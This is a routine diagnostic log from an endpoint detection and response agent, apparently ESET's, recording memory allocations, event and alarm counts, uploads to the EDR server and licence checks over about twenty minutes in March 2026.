2026-03-04 16:08:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:08:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:08:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:08:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1725 KB; TcpIpConnectionsManager: 626 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 173 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 111 KB; BatchSerializer::EventsQueueTag: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 14209 KB;
2026-03-04 16:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2145 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BaseEvent: 369 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::ProcessConditionsCache: 92 KB; ProcessInfoCommandLineTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14847 KB;
2026-03-04 16:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2513 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 581 KB; BaseEvent: 551 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 83 KB; ProcessInfoCommandLineTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 15420 KB;
2026-03-04 16:11:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:07:59, To:, 2026-03-04 16:11:49, Duration (s):, 230, Events Per Second:, 17.853, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3450, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 661, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461791
2026-03-04 16:11:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s353ms.
2026-03-04 16:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1430 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 117 KB; ProcessInfoCommandLineTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 13685 KB;
2026-03-04 16:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1805 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 208 KB; rules::ProcessConditionsCache: 144 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 54 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14345 KB;
2026-03-04 16:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:13:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:13:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:13:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:13:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2166 KB; ModuleMetadata: 1968 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 588 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 387 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 146 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 101 KB; ProcessInfoCommandLineTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14964 KB;
2026-03-04 16:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2523 KB; ModuleMetadata: 1968 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 591 KB; BaseEvent: 563 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 532 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 125 KB; ProcessInfoCommandLineTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 15501 KB;
2026-03-04 16:15:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:11:48, To:, 2026-03-04 16:15:53, Duration (s):, 245, Events Per Second:, 16.644, Events:, 4086, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3365, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 4, Livegrid:, 4, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456634
2026-03-04 16:15:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s355ms.
2026-03-04 16:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1327 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 593 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 181 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 9 KB; BaseEvent: 4 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchSerializer::EventsQueueTag: 1 KB; BatchStringTag: 0 KB; Total: 13670 KB;
2026-03-04 16:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1689 KB; TcpIpConnectionsManager: 557 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 185 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 104 KB; BatchSerializer::EventsQueueTag: 48 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14141 KB;
2026-03-04 16:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2050 KB; ModuleMetadata: 1968 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 549 KB; BaseEvent: 360 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::ProcessConditionsCache: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14695 KB;
2026-03-04 16:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:18:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:18:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:18:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:18:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2457 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 581 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 544 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 145 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 15440 KB;
2026-03-04 16:19:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:15:52, To:, 2026-03-04 16:19:53, Duration (s):, 241, Events Per Second:, 17.052, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3420, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 697, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459944
2026-03-04 16:19:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s359ms.
2026-03-04 16:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1361 KB; TcpIpConnectionsManager: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 157 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; BaseEvent: 2 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 0 KB; BatchStringTag: 0 KB; Total: 13652 KB;
2026-03-04 16:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1759 KB; TcpIpConnectionsManager: 614 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 208 KB; BaseEvent: 189 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14346 KB;
2026-03-04 16:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2164 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 660 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BaseEvent: 377 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 265 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15095 KB;
2026-03-04 16:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2538 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 639 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 601 KB; BaseEvent: 562 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 243 KB; BatchSerializer::EventsQueueTag: 152 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15739 KB;
2026-03-04 16:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:23:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:19:53, To:, 2026-03-04 16:23:46, Duration (s):, 233, Events Per Second:, 17.587, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3430, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 677, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458941
2026-03-04 16:23:48 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s390ms.
2026-03-04 16:23:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:23:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:23:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:23:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1970 KB; ProcessInfo: 1417 KB; TcpIpConnectionsManager: 616 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 569 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 272 KB; cloudutils::CloudData: 136 KB; BaseEvent: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13911 KB;
2026-03-04 16:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1970 KB; ProcessInfo: 1781 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 248 KB; BaseEvent: 208 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14433 KB;
2026-03-04 16:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2147 KB; ModuleMetadata: 1970 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 385 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 234 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 101 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14954 KB;
2026-03-04 16:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2508 KB; ModuleMetadata: 1970 KB; BaseEvent: 564 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 215 KB; BatchSerializer::EventsQueueTag: 148 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15528 KB;
2026-03-04 16:27:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:23:46, To:, 2026-03-04 16:27:53, Duration (s):, 247, Events Per Second:, 16.478, Events:, 4079, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3367, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453460
2026-03-04 16:27:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 16:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1970 KB; ProcessInfo: 1288 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 532 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 199 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BaseEvent: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 0 KB; BatchStringTag: 0 KB; Total: 13565 KB;
2026-03-04 16:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:28:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:28:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:28:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:28:50 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1970 KB; ProcessInfo: 1650 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 522 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 185 KB; BaseEvent: 181 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14131 KB;
2026-03-04 16:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2057 KB; ModuleMetadata: 1970 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; BaseEvent: 363 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 258 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14900 KB;
2026-03-04 16:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2427 KB; ModuleMetadata: 1970 KB; TcpIpConnectionsManager: 573 KB; BaseEvent: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 213 KB; BatchSerializer::EventsQueueTag: 146 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15440 KB;
2026-03-04 16:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2789 KB; ModuleMetadata: 1970 KB; BaseEvent: 729 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; ModuleInfoCache: 315 KB; CacheEntry: 289 KB; rules::ProcessConditionsCache: 196 KB; BatchSerializer::EventsQueueTag: 193 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 16031 KB;
2026-03-04 16:31:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:27:53, To:, 2026-03-04 16:31:57, Duration (s):, 244, Events Per Second:, 16.899, Events:, 4130, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3423, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458819
2026-03-04 16:31:58 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
